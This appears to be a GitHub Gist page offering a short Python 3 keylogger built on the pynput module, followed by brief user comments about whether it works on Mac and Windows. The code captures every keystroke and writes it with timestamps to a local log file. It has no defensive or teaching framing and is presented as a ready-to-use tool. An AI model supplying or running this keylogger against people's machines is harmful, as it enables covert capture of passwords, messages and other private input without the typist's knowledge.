Created
April 11, 2017 02:48
-
-
Save brentvollebregt/a6f28546744a34368dca8030413ee093 to your computer and use it in GitHub Desktop.
A Python 3 keylogger using the pynput module
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# From: https://github.com/moses-palmer/pynput | |
from pynput.keyboard import Key, Listener | |
import logging | |
log_dir = "" | |
logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='["%(asctime)s", %(message)s]') | |
def on_press(key): | |
logging.info('"{0}"'.format(key)) | |
with Listener(on_press=on_press) as listener: | |
listener.join() |
This doesn't work on mac.
Its very well
Nice and easy
windows: dont work
windows: dont work
*10
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
the keylogger spits out some sort of hebrew. you need to parse this data into something that can be easily understood